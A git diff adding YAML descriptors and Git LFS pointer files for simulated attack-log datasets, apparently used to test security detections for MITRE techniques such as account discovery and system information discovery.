100644 index 000000000..975af5d43 --- /dev/null +++ b/datasets/attack_techniques/T1078/update_saml_provider/T1078_update_saml_provider.yml @@ -0,0 +1,17 @@ +author: STRT +id: 144154c2-c01c-405f-b9e0-02600c91f199 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS SAML Update identity + provider +environment: attack_range +directory: update_saml_provider +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1078/update_saml_provider/asl_ocsf_cloudtrail-144154c2-c01c-405f-b9e0-02600c91f199.log + sourcetype: aws:asl + source: aws_asl +- name: update_saml_provider + path: /datasets/attack_techniques/T1078/update_saml_provider/update_saml_provider-144154c2-c01c-405f-b9e0-02600c91f199.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1078/update_saml_provider/asl_ocsf_cloudtrail-144154c2-c01c-405f-b9e0-02600c91f199.log b/datasets/attack_techniques/T1078/update_saml_provider/asl_ocsf_cloudtrail-144154c2-c01c-405f-b9e0-02600c91f199.log new file mode 100644 index 000000000..1258fbf94 --- /dev/null +++ b/datasets/attack_techniques/T1078/update_saml_provider/asl_ocsf_cloudtrail-144154c2-c01c-405f-b9e0-02600c91f199.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b49986b2be8a363c5f3835b1d7f0d2de5a3536c7ba4d26ef7f46f5eef6fa2559 +size 2271 diff --git a/datasets/attack_techniques/T1078/update_saml_provider/update_saml_provider-144154c2-c01c-405f-b9e0-02600c91f199.log b/datasets/attack_techniques/T1078/update_saml_provider/update_saml_provider-144154c2-c01c-405f-b9e0-02600c91f199.log new file mode 100644 index 000000000..3d049e63f --- /dev/null +++ b/datasets/attack_techniques/T1078/update_saml_provider/update_saml_provider-144154c2-c01c-405f-b9e0-02600c91f199.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6e4aa431e72ad7a3d71ee30a2b0ad63d97b98a5ac635ca9122f4bd422d9648e6 +size 680158 diff --git a/datasets/attack_techniques/T1082/atomic_red_team/T1082_atomic_red_team.yml b/datasets/attack_techniques/T1082/atomic_red_team/T1082_atomic_red_team.yml new file mode 100644 index 000000000..2a5cba646 --- /dev/null +++ b/datasets/attack_techniques/T1082/atomic_red_team/T1082_atomic_red_team.yml @@ -0,0 +1,16 @@ +author: STRT +id: 58b0d2ff-6507-448c-b46c-3415748c9bbe +date: '2026-07-11' +description: Curated attack data generated for detection Linux Kernel Module Enumeration +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: linux-sysmon + path: /datasets/attack_techniques/T1082/atomic_red_team/linux-sysmon-58b0d2ff-6507-448c-b46c-3415748c9bbe.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1082/atomic_red_team/windows-sysmon-58b0d2ff-6507-448c-b46c-3415748c9bbe.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1082/atomic_red_team/linux-sysmon-58b0d2ff-6507-448c-b46c-3415748c9bbe.log b/datasets/attack_techniques/T1082/atomic_red_team/linux-sysmon-58b0d2ff-6507-448c-b46c-3415748c9bbe.log new file mode 100644 index 000000000..aa2077de9 --- /dev/null +++ b/datasets/attack_techniques/T1082/atomic_red_team/linux-sysmon-58b0d2ff-6507-448c-b46c-3415748c9bbe.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dd52ff46a2b5b93a5a689f3cc5e9b2bf7d671a2a67f26c63d335a33284156a52 +size 1474 diff --git a/datasets/attack_techniques/T1082/atomic_red_team/windows-sysmon-58b0d2ff-6507-448c-b46c-3415748c9bbe.log b/datasets/attack_techniques/T1082/atomic_red_team/windows-sysmon-58b0d2ff-6507-448c-b46c-3415748c9bbe.log new file mode 100644 index 000000000..0c60d7772 --- /dev/null +++ b/datasets/attack_techniques/T1082/atomic_red_team/windows-sysmon-58b0d2ff-6507-448c-b46c-3415748c9bbe.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a5f2af20b859768054c51dd305e8a7c5ac789a6634221a0df34457e2e9b9e871 +size 21794 diff --git a/datasets/attack_techniques/T1082/esxi_system_information/T1082_esxi_system_information.yml b/datasets/attack_techniques/T1082/esxi_system_information/T1082_esxi_system_information.yml new file mode 100644 index 000000000..1f66364de --- /dev/null +++ b/datasets/attack_techniques/T1082/esxi_system_information/T1082_esxi_system_information.yml @@ -0,0 +1,12 @@ +author: STRT +id: 1af3c057-1b4a-4882-9e2c-2c9423fc3d79 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi System Information Discovery +environment: attack_range +directory: esxi_system_information +mitre_technique: [] +datasets: +- name: esxi_system_information + path: /datasets/attack_techniques/T1082/esxi_system_information/esxi_system_information-1af3c057-1b4a-4882-9e2c-2c9423fc3d79.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1082/esxi_system_information/esxi_system_information-1af3c057-1b4a-4882-9e2c-2c9423fc3d79.log b/datasets/attack_techniques/T1082/esxi_system_information/esxi_system_information-1af3c057-1b4a-4882-9e2c-2c9423fc3d79.log new file mode 100644 index 000000000..f360a0afb --- /dev/null +++ b/datasets/attack_techniques/T1082/esxi_system_information/esxi_system_information-1af3c057-1b4a-4882-9e2c-2c9423fc3d79.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e2d4d50fea8c42e8fb8429a8ec5a14a11f8f0631462e0b6871ba8381e838b623 +size 1654 diff --git a/datasets/attack_techniques/T1082/sysinternals_pstools/T1082_sysinternals_pstools.yml b/datasets/attack_techniques/T1082/sysinternals_pstools/T1082_sysinternals_pstools.yml new file mode 100644 index 000000000..2c40dac5c --- /dev/null +++ b/datasets/attack_techniques/T1082/sysinternals_pstools/T1082_sysinternals_pstools.yml @@ -0,0 +1,12 @@ +author: STRT +id: 254b2ecf-cf3e-4c5d-947f-ea99bcd6f3b4 +date: '2026-07-11' +description: Curated attack data generated for detection Windows PsTools Recon Usage +environment: attack_range +directory: sysinternals_pstools +mitre_technique: [] +datasets: +- name: sysinternals_pstools + path: /datasets/attack_techniques/T1082/sysinternals_pstools/sysinternals_pstools-254b2ecf-cf3e-4c5d-947f-ea99bcd6f3b4.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1082/sysinternals_pstools/sysinternals_pstools-254b2ecf-cf3e-4c5d-947f-ea99bcd6f3b4.log b/datasets/attack_techniques/T1082/sysinternals_pstools/sysinternals_pstools-254b2ecf-cf3e-4c5d-947f-ea99bcd6f3b4.log new file mode 100644 index 000000000..284425347 --- /dev/null +++ b/datasets/attack_techniques/T1082/sysinternals_pstools/sysinternals_pstools-254b2ecf-cf3e-4c5d-947f-ea99bcd6f3b4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1d9205b61cba09826c44b93008924cab21ce5d4487f65440865f4f2ad9e1c069 +size 14306 diff --git a/datasets/attack_techniques/T1087.001/AD_discovery/T1087.001_AD_discovery.yml b/datasets/attack_techniques/T1087.001/AD_discovery/T1087.001_AD_discovery.yml new file mode 100644 index 000000000..4ce7fa6cf --- /dev/null +++ b/datasets/attack_techniques/T1087.001/AD_discovery/T1087.001_AD_discovery.yml @@ -0,0 +1,16 @@ +author: STRT +id: 316379a7-4c81-40fc-9a70-0d7e5af3806f +date: '2026-07-11' +description: Curated attack data generated for detection GetLocalUser with PowerShell +environment: attack_range +directory: AD_discovery +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1087.001/AD_discovery/windows-sysmon-316379a7-4c81-40fc-9a70-0d7e5af3806f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1087.001/AD_discovery/windows-powershell-xml-316379a7-4c81-40fc-9a70-0d7e5af3806f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1087.001/AD_discovery/windows-powershell-xml-316379a7-4c81-40fc-9a70-0d7e5af3806f.log b/datasets/attack_techniques/T1087.001/AD_discovery/windows-powershell-xml-316379a7-4c81-40fc-9a70-0d7e5af3806f.log new file mode 100644 index 000000000..564ce36e4 --- /dev/null +++ b/datasets/attack_techniques/T1087.001/AD_discovery/windows-powershell-xml-316379a7-4c81-40fc-9a70-0d7e5af3806f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:aa25d4a135fe668210478de9616418ce00d79a12a5f0efb62c33c80b2104af4f +size 5003 diff --git a/datasets/attack_techniques/T1087.001/AD_discovery/windows-sysmon-316379a7-4c81-40fc-9a70-0d7e5af3806f.log b/datasets/attack_techniques/T1087.001/AD_discovery/windows-sysmon-316379a7-4c81-40fc-9a70-0d7e5af3806f.log new file mode 100644 index 000000000..b7e3b42c1 --- /dev/null +++ b/datasets/attack_techniques/T1087.001/AD_discovery/windows-sysmon-316379a7-4c81-40fc-9a70-0d7e5af3806f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:34320d9d9e3673e0725f4347a3a908c1bd48a8d3e07ab200c5e6eeece9357a46 +size 1890 diff --git a/datasets/attack_techniques/T1087.002/AD_discovery/T1087.002_AD_discovery.yml b/datasets/attack_techniques/T1087.002/AD_discovery/T1087.002_AD_discovery.yml new file mode 100644 index 000000000..3588781d8 --- /dev/null +++ b/datasets/attack_techniques/T1087.002/AD_discovery/T1087.002_AD_discovery.yml @@ -0,0 +1,44 @@ +author: STRT +id: 33e45264-792f-426c-92f8-52bab3529302 +date: '2026-07-11' +description: Curated attack data generated for detection AdsiSearcher Account Discovery +environment: attack_range +directory: AD_discovery +mitre_technique: [] +datasets: +- name: adsisearcher_powershell + path: /datasets/attack_techniques/T1087.002/AD_discovery/adsisearcher_powershell-33e45264-792f-426c-92f8-52bab3529302.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1087.002/AD_discovery/windows-sysmon-33e45264-792f-426c-92f8-52bab3529302.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: aduser_powershell + path: /datasets/attack_techniques/T1087.002/AD_discovery/aduser_powershell-33e45264-792f-426c-92f8-52bab3529302.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-xml-33e45264-792f-426c-92f8-52bab3529302.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: adsisearcher-powershell + path: /datasets/attack_techniques/T1087.002/AD_discovery/adsisearcher-powershell-33e45264-792f-426c-92f8-52bab3529302.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: windows-powershell-DomainOU-xml + path: /datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-DomainOU-xml-33e45264-792f-426c-92f8-52bab3529302.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: windows-powershell-interestingACL-xml + path: /datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-interestingACL-xml-33e45264-792f-426c-92f8-52bab3529302.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: windows-powershell-ForestDomain-xml + path: /datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-ForestDomain-xml-33e45264-792f-426c-92f8-52bab3529302.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: windows-powershell-LocalAdminAccess-xml + path: /datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-LocalAdminAccess-xml-33e45264-792f-426c-92f8-52bab3529302.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1087.002/AD_discovery/adsisearcher-powershell-33e45264-792f-426c-92f8-52bab3529302.log b/datasets/attack_techniques/T1087.002/AD_discovery/adsisearcher-powershell-33e45264-792f-426c-92f8-52bab3529302.log new file mode 100644 index 000000000..7ed6306ee --- /dev/null +++ b/datasets/attack_techniques/T1087.002/AD_discovery/adsisearcher-powershell-33e45264-792f-426c-92f8-52bab3529302.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bdbba0dbdf880fa5844785ccdf02acb6104a5d6de247dbd4a78aea158306d71d +size 975 diff --git a/datasets/attack_techniques/T1087.002/AD_discovery/adsisearcher_powershell-33e45264-792f-426c-92f8-52bab3529302.log b/datasets/attack_techniques/T1087.002/AD_discovery/adsisearcher_powershell-33e45264-792f-426c-92f8-52bab3529302.log new file mode 100644 index 000000000..b0adba8d3 --- /dev/null +++ b/datasets/attack_techniques/T1087.002/AD_discovery/adsisearcher_powershell-33e45264-792f-426c-92f8-52bab3529302.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c663841e6a372168b511416908d993e120b2ea59e6f2b33370498569511573ed +size 2040 diff --git a/datasets/attack_techniques/T1087.002/AD_discovery/aduser_powershell-33e45264-792f-426c-92f8-52bab3529302.log b/datasets/attack_techniques/T1087.002/AD_discovery/aduser_powershell-33e45264-792f-426c-92f8-52bab3529302.log new file mode 100644 index 000000000..58b07a425 --- /dev/null +++ b/datasets/attack_techniques/T1087.002/AD_discovery/aduser_powershell-33e45264-792f-426c-92f8-52bab3529302.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dc8b81447928c594be45d74bdea8c46e4c234322adb837937c4ef3b3df510035 +size 29483 diff --git a/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-DomainOU-xml-33e45264-792f-426c-92f8-52bab3529302.log b/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-DomainOU-xml-33e45264-792f-426c-92f8-52bab3529302.log new file mode 100644 index 000000000..0bf7f7f21 --- /dev/null +++ b/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-DomainOU-xml-33e45264-792f-426c-92f8-52bab3529302.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2adcaca18bb413ff802837a1e04dc2a29433cf84b8fc292017dea8a1f68cccd3 +size 256926 diff --git a/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-ForestDomain-xml-33e45264-792f-426c-92f8-52bab3529302.log b/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-ForestDomain-xml-33e45264-792f-426c-92f8-52bab3529302.log new file mode 100644 index 000000000..a440a9af0 --- /dev/null +++ b/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-ForestDomain-xml-33e45264-792f-426c-92f8-52bab3529302.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:345f020e91fa268ebf23e1e554d001d5f59d3cbde52864910f2777bd17e6129a +size 50495 diff --git a/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-LocalAdminAccess-xml-33e45264-792f-426c-92f8-52bab3529302.log b/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-LocalAdminAccess-xml-33e45264-792f-426c-92f8-52bab3529302.log new file mode 100644 index 000000000..6fbf0e94e --- /dev/null +++ b/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-LocalAdminAccess-xml-33e45264-792f-426c-92f8-52bab3529302.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:64a5c245cf13ad7c727145a00a2fc17d464e29568dee3441a479c832c337daa1 +size 52118 diff --git a/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-interestingACL-xml-33e45264-792f-426c-92f8-52bab3529302.log b/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-interestingACL-xml-33e45264-792f-426c-92f8-52bab3529302.log new file mode 100644 index 000000000..76b11941e --- /dev/null +++ b/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-interestingACL-xml-33e45264-792f-426c-92f8-52bab3529302.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3c365563b62461cbf46c1a382c02e3e38cac44facb8297648d4a8f9d9511926e +size 92958 diff --git a/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-xml-33e45264-792f-426c-92f8-52bab3529302.log b/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-xml-33e45264-792f-426c-92f8-52bab3529302.log new file mode 100644 index 000000000..db4d648e5 --- /dev/null +++ b/datasets/attack_techniques/T1087.002/AD_discovery/windows-powershell-xml-33e45264-792f-426c-92f8-52bab3529302.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ebbfcd5bcd460e6a8ab506e9f333bfbfd7e1ba0497e9ded7122b4c4c71d24dd1 +size 2038252 diff --git a/datasets/attack_techniques/T1087.002/AD_discovery/windows-sysmon-33e45264-792f-426c-92f8-52bab3529302.log b/datasets/attack_techniques/T1087.002/AD_discovery/windows-sysmon-33e45264-792f-426c-92f8-52bab3529302.log new file mode 100644 index 000000000..023c4e3c7 --- /dev/null +++ b/datasets/attack_techniques/T1087.002/AD_discovery/windows-sysmon-33e45264-792f-426c-92f8-52bab3529302.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:023a5dd6ba85282be4fa809c22cf232e9c5a549341539d66cd3ce50f68f6af44 +size 157959 diff --git a/datasets/attack_techniques/T1087.002/adsi_discovery/T1087.002_adsi_discovery.yml b/datasets/attack_techniques/T1087.002/adsi_discovery/T1087.002_adsi_discovery.yml new file mode 100644 index 000000000..e0e7fb205 --- /dev/null +++ b/datasets/attack_techniques/T1087.002/adsi_discovery/T1087.002_adsi_discovery.yml @@ -0,0 +1,17 @@ +author: STRT +id: 8b051d9d-1978-4917-93ae-5135024b5f78 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Linked Policies In + ADSI Discovery +environment: attack_range +directory: adsi_discovery +mitre_technique: [] +datasets: +- name: windows-powershell-xml2 + path: /datasets/attack_techniques/T1087.002/adsi_discovery/windows-powershell-xml2-8b051d9d-1978-4917-93ae-5135024b5f78.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: windows-powershell-xml1 + path: /datasets/attack_techniques/T1087.002/adsi_discovery/windows-powershell-xml1-8b051d9d-1978-4917-93ae-5135024b5f78.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1087.002/adsi_discovery/windows-powershell-xml1-8b051d9d-1978-4917-93ae-5135024b5f78.log b/datasets/attack_techniques/T1087.002/adsi_discovery/windows-powershell-xml1-8b051d9d-1978-4917-93ae-5135024b5f78.log new file mode 100644 index 000000000..613be7679 --- /dev/null +++ b/datasets/attack_techniques/T1087.002/adsi_discovery/windows-powershell-xml1-8b051d9d-1978-4917-93ae-5135024b5f78.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8a057e3569fb2d158d475332f9b6f74f5eb9122a31e7df7271e8e826f16ec74c +size 1362 diff --git a/datasets/attack_techniques/T1087.002/adsi_discovery/windows-powershell-xml2-8b051d9d-1978-4917-93ae-5135024b5f78.log b/datasets/attack_techniques/T1087.002/adsi_discovery/windows-powershell-xml2-8b051d9d-1978-4917-93ae-5135024b5f78.log new file mode 100644 index 000000000..0056d34e3 --- /dev/null +++ b/datasets/attack_techniques/T1087.002/adsi_discovery/windows-powershell-xml2-8b051d9d-1978-4917-93ae-5135024b5f78.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:47ae51427ac8f00f0fb60169858075d05f261520385b75e20b01a8c9b93e78df +size 1392 diff --git a/datasets/attack_techniques/T1087.002/blackmatter_schcache/T1087.002_blackmatter_schcache.yml b/datasets/attack_techniques/T1087.002/blackmatter_schcache/T1087.002_blackmatter_schcache.yml new file mode 100644 index 000000000..89f7a353a --- /dev/null +++ b/datasets/attack_techniques/T1087.002/blackmatter_schcache/T1087.002_blackmatter_schcache.yml @@ -0,0 +1,13 @@ +author: STRT +id: fe8b51e7-2f83-45c7-aef3-46757f5d4228 +date: '2026-07-11' +description: Curated attack data generated for detection SchCache Change By App Connect + And Create ADSI Object +environment: attack_range +directory: blackmatter_schcache +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1087.002/blackmatter_schcache/windows-sysmon-fe8b51e7-2f83-45c7-aef3-46757f5d4228.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1087.002/blackmatter_schcache/windows-sysmon-fe8b51e7-2f83-45c7-aef3-46757f5d4228.log b/datasets/attack_techniques/T1087.002/blackmatter_schcache/windows-sysmon-fe8b51e7-2f83-45c7-aef3-46757f5d4228.log new file mode 100644 index 000000000..72dbfcfd8 --- /dev/null +++ b/datasets/attack_techniques/T1087.002/blackmatter_schcache/windows-sysmon-fe8b51e7-2f83-45c7-aef3-46757f5d4228.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:403885d664e72d23d5d7f49963a697622f8bf249de5ae5c6236913c3e5b52611 +size 1071 diff --git a/datasets/attack_techniques/T1087.004/aws_invoke_model_access_denied/T1087.004_aws_invoke_model_access_denied.yml b/datasets/attack_techniques/T1087.004/aws_invoke_model_access_denied/T1087.004_aws_invoke_model_access_denied.yml new file mode 100644 index 000000000..daac850d9 --- /dev/null +++ b/datasets/attack_techniques/T1087.004/aws_invoke_model_access_denied/T1087.004_aws_invoke_model_access_denied.yml @@ -0,0 +1,13 @@ +author: STRT +id: fe2b11f1-4215-40b8-abf4-7289541b0ab4 +date: '2026-07-10' +description: Curated attack data generated for detection AWS Bedrock Invoke Model + Access Denied +environment: attack_range +directory: aws_invoke_model_access_denied +mitre_technique: [] +datasets: +- name: cloudtrail + path: /datasets/attack_techniques/T1087.004/aws_invoke_model_access_denied/cloudtrail-fe2b11f1-4215-40b8-abf4-7289541b0ab4.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1087.004/aws_invoke_model_access_denied/cloudtrail-fe2b11f1-4215-40b8-abf4-7289541b0ab4.log b/datasets/attack_techniques/T1087.004/aws_invoke_model_access_denied/cloudtrail-fe2b11f1-4215-40b8-abf4-7289541b0ab4.log new file mode 100644 index 000000000..cf035364c --- /dev/null +++ b/datasets/attack_techniques/T1087.004/aws_invoke_model_access_denied/cloudtrail-fe2b11f1-4215-40b8-abf4-7289541b0ab4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:16b7b04d485f584095ae1b6f41b51dfd50516c05c2ccfcbe574000b7bc012c4c +size 1510 diff --git a/datasets/attack_techniques/T1087.004/azurehound/T1087.004_azurehound.yml b/datasets/attack_techniques/T1087.004/azurehound/T1087.004_azurehound.yml new file mode 100644 index 000000000..a7e09e22e --- /dev/null +++ b/datasets/attack_techniques/T1087.004/azurehound/T1087.004_azurehound.yml @@ -0,0 +1,13 @@ +author: STRT +id: 86d35eaf-fc12-4183-85fe-ea2dbb647a79 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD AzureHound UserAgent + Detected +environment: attack_range +directory: azurehound +mitre_technique: [] +datasets: +- name: azurehound + path: /datasets/attack_techniques/T1087.004/azurehound/azurehound-86d35eaf-fc12-4183-85fe-ea2dbb647a79.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1087.004/azurehound/azurehound-86d35eaf-fc12-4183-85fe-ea2dbb647a79.log b/datasets/attack_techniques/T1087.004/azurehound/azurehound-86d35eaf-fc12-4183-85fe-ea2dbb647a79.log new file mode 100644 index 000000000..50a806624 --- /dev/null +++ b/datasets/attack_techniques/T1087.004/azurehound/azurehound-86d35eaf-fc12-4183-85fe-ea2dbb647a79.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b0bc40ed4e563b6ea851e70ad349a6b4f022d203edead76226bd4bcfa452f658 +size 22074 diff --git a/datasets/attack_techniques/T1087.004/okta_unauth_access/T1087.004_okta_unauth_access.yml b/datasets/attack_techniques/T1087.004/okta_unauth_access/T1087.004_okta_unauth_access.yml new file mode 100644 index 000000000..6cc37b181 --- /dev/null +++ b/datasets/attack_techniques/T1087.004/okta_unauth_access/T1087.004_okta_unauth_access.yml @@ -0,0 +1,13 @@ +author: STRT +id: b8f6b0c8-f5ae-44e1-a4c3-018b59a7ea9c +date: '2026-07-13' +description: Curated attack data generated for detection Okta Unauthorized Access + to Application +environment: attack_range +directory: okta_unauth_access +mitre_technique: [] +datasets: +- name: okta_unauth_access + path: /datasets/attack_techniques/T1087.004/okta_unauth_access/okta_unauth_access-b8f6b0c8-f5ae-44e1-a4c3-018b59a7ea9c.log + sourcetype: OktaIM2:log + source: Okta diff --git a/datasets/attack_techniques/T1087.004/okta_unauth_access/okta_unauth_access-b8f6b0c8-f5ae-44e1-a4c3-018b59a7ea9c.log b/datasets/attack_techniques/T1087.004/okta_unauth_access/okta_unauth_access-b8f6b0c8-f5ae-44e1-a4c3-018b59a7ea9c.log new file mode 100644 index 000000000..223672c2e --- /dev/null +++ b/datasets/attack_techniques/T1087.004/okta_unauth_access/okta_unauth_access-b8f6b0c8-f5ae-44e1-a4c3-018b59a7ea9c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1b43f1f608caae07dbb8b2fb928871071e8c842b9d231039ed82d4a0997d1468 +size 2125 diff --git a/datasets/attack_techniques/T1087/enumerate_users_local_group_using_telegram/T1087_enumerate_users_local_group_using_telegram.yml b/datasets/attack_techniques/T1087/enumerate_users_local_group_using_telegram/T1087_enumerate_users_local_group_using_telegram.yml new file mode 100644 index 000000000..771177dbd --- /dev/null +++ b/datasets/attack_techniques/T1087/enumerate_users_local_group_using_telegram/T1087_enumerate_users_local_group_using_telegram.yml @@ -0,0 +1,13 @@ +author: STRT +id: 2d454a0a-910d-411f-bf0c-b5a5562dcc97 +date: '2026-07-10' +description: Curated attack data generated for detection Enumerate Users Local Group + Using Telegram +environment: attack_range +directory: enumerate_users_local_group_using_telegram +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1087/enumerate_users_local_group_using_telegram/windows-xml-2d454a0a-910d-411f-bf0c-b5a5562dcc97.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1087/enumerate_users_local_group_using_telegram/windows-xml-2d454a0a-910d-411f-bf0c-b5a5562dcc97.log b/datasets/attack_techniques/T1087/enumerate_users_local_group_using_telegram/windows-xml-2d454a0a-910d-411f-bf0c-b5a5562dcc97.log new file mode 100644 index 000000000..0fefb3942 --- /dev/null +++ b/datasets/attack_techniques/T1087/enumerate_users_local_group_using_telegram/windows-xml-2d454a0a-910d-411f-bf0c-b5a5562dcc97.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7e02102de69eee57d104cd6f6276ab2eb88da42656197c11d610d79661fd45b4 +size 69984 diff --git a/datasets/attack_techniques/T1087/powerview_get_netuser_preauthnotrequire/T1087_powerview_get_netuser_preauthnotrequire.yml b/datasets/attack_techniques/T1087/powerview_get_netuser_preauthnotrequire/T1087_powerview_get_netuser_preauthnotrequire.yml new file mode 100644 index 000000000..40b528e77 --- /dev/null +++ b/datasets/attack_techniques/T1087/powerview_get_netuser_preauthnotrequire/T1087_powerview_get_netuser_preauthnotrequire.yml @@ -0,0 +1,13 @@ +author: STRT +id: 38b2d9f2-64f3-4ff5-b74f-50f0d0e5e8ef +date: '2026-07-11' +description: Curated attack data generated for detection Windows Account Discovery + for None Disable User Account +environment: attack_range +directory: powerview_get_netuser_preauthnotrequire +mitre_technique: [] +datasets: +- name: get-netuser-not-require-pwh + path: /datasets/attack_techniques/T1087/powerview_get_netuser_preauthnotrequire/get-netuser-not-require-pwh-38b2d9f2-64f3-4ff5-b74f-50f0d0e5e8ef.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1087/powerview_get_netuser_preauthnotrequire/get-netuser-not-require-pwh-38b2d9f2-64f3-4ff5-b74f-50f0d0e5e8ef.log b/datasets/attack_techniques/T1087/powerview_get_netuser_preauthnotrequire/get-netuser-not-require-pwh-38b2d9f2-64f3-4ff5-b74f-50f0d0e5e8ef.log new file mode 100644 index 000000000..55f3aed90 --- /dev/null +++ 